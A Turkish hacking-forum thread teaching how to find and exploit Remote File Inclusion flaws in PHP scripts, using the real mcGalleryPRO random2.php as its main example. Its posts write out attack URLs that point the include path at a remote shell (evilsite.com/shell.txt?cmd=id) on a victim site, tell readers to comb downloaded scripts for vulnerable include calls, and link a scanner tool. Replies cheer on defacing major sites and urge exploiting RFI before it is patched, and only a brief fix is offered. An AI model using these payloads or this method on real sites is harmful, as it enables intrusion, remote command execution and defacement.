| | Remote File İnclude Açıklarını Bulma Teknikleri ||

blackwolf

uid=0(root)
Katılım
17 Ağu 2005
Mesajlar
1,429
Reaction score
0
Puanları
0
Yaş
35
Hacker’ların RFİ açığı ararken dikkat ettikleri başlıca parametreleri şöyle sıralayabiliriz;


- İnclude

- Require

- Define

Bu yönergelerin kullanımı sırasında "$" tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor.

Örnek olarak aşağıdaki kodu ele alalım:


include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );



yukarıdaki kodlar mcGalleryPRO scriptinden alınmıştır.kurulum paketindeki random2.php dosyasındaki hatalı kodlamadan dolayı uzaktan dosya çağırmak mümkündür.şimdi burda başında $ işareti olan parametrelere dikkatinizi çekmek istiyorum.

path_to_folder ve lang_def... ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.dolayısıyla bu değişkene atıyacağınız her hangi bir değer onun değerini belirler.
bu kodla örnek rfi yi oluşturalım :


http://www.victimsite.com/mcGallery...o_folder=http://evilsite.com/shell.txt?cmd=id

Bu şekilde bir Rfi’nin varsayılan ayarlarda bir değişiklik yapılmamışsa çalışması beklenir.

Peki aynı şey lang_def için mümkün müdür? Tabii ki hayır... Çünkü dikkatinizi çektiyse lang_def değişkeninden önce sırada /lang klasörü vardır.Eğer siz;


http://www.victimsite.com/mcGalleryPRO_dir/random2.php?lang_def=http://evilsite.com/shell.txt?cmd=id

...şeklinde bir rfi yapmak isterseniz;bu kodu çağırdığınızda gezgininiz /lang klasörün altında çağıracağınız kodu arar.şimdi ilk değişkenimize geri dönelim..

gördüğünüz gibi bu bir açık yani "bug" dır.peki kapatılması mümkün mü?Elbette..

örnek olarak bir fixing yapalım:


$path_to_folder = "./" ;

include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );

Basit olarak random2.php dosyasının böyle kodlandığını varsayarsak rfi yapamayacağımızı görürüz.çünkü path_to_folder değişkenine bir değer atanmış ve çağırılmak istenen dosyanın ./ yani public_html ya da httpdocs gibi sitenin root klasöründe aranması işaret edilmiştir.

ALINTIDIR
 
Eline sağlık..
 
Remote File İnclude Açığı Bulma (Farklı)

Remote File İnclude Açığı Bulma (Resimli Anlatım)+Programı

Farklı Anlatım :)





Sizlere rfi açığı bulmayı anlatacağm bu dökümnda

öncelikle scriptten yararlanacaz açığı bulmak için

(script’i nerden bulacağınızı artık siz ayarlarsınız..)

şimdi işte free forum vs vs arıyorsunuz teker teker .. indiriyorsunuz scriptleri.

indirdiniz not defterinlen açıp (professionel not defteri daha uygun)

"require"

"include"

"include_once"

"require_once"

kodlarını arıyorsunuz ...

bunun gibi daha varda ben bilmiyorum..

neyse aradınız örnek veriyorum

/include/config.inc.php

de

include($lvc_include_dir.’lang/english.inc.php’);



bu kodu buldunuz hımm diyorsunuz denemek lazım sonra

bunu düzenliyorsunuz.

/include/config.inc.php?lvc_include_dir




diğer örnek

include ("$chemin/moteur/moteur_form.php");

include ("$chemin/moteur/moteur_tab_results.php");

düzenlenmiş hali sitenin sonuna bunu yapıştırıyorsunuz..

http://www.site.com/path/moteur.php?...=http://sh3LL?/B



Link:
http://rapidshare.com/files/4511493/phpvuln.rar.html
 
Güncel en kıral acık rfi :)
Aslında güzel bir rfi bulacan bir gecede sen yahooyu alacan kankinde google yi basacan indexi :D
 
süper paylaşım paylaşım için sağol..!
 
Dizemen' Alıntı:
Google da bekliyordu zaten gelin beni indexleyin diye Çok Uçmayın Uçururlar!!!! :)
Kırdın gülmekten beni gene öğle vakti ya..!:durdurun Google herkesi bekliyo zaten sitesine index basmak için..!
 
Arkadaşlar C++ kodlama bilen varsa bana yardımcı olsun
 
Ah şu dediklerinden bişey anlasam :) heralde yararlı bişeyler söylemişsindir pek anlamıyorum bu işten de :) Bişey sorucam belki anlatıklarınla ilgili değil ama bu RFİ açığını bulduktan sonra nası saldırılıyor bi özet, kısa bi şekilde söliyebilirmisiniz ?
 
RFI yavaş yavaş kapanıyo sömürmeye bakın gençler...
 
1. anlatım için teşekkürler
 
slm arkadaşlar bizim bir forum sitemiz var ve yabancı birileri devam lı bu sitemize sex içerikli resim ve başlık atıyor ve buz bunu engellemek istiyoruz bunu nasıul yapabiliriz bilgi verebilirmisiniz
 
saol kardeş bilgilendirme iin..
 
slm arkadaşlar bizim bir forum sitemiz var ve yabancı birileri devam lı bu sitemize sex içerikli resim ve başlık atıyor ve buz bunu engellemek istiyoruz bunu nasıul yapabiliriz bilgi verebilirmisiniz

Herşeyin yeri var ya niye bunu bu konunun altına yazıyorsun? Böyle yaparsan yardım alamaz aksine banlanırsın.....:goz:
 
Geri
Üst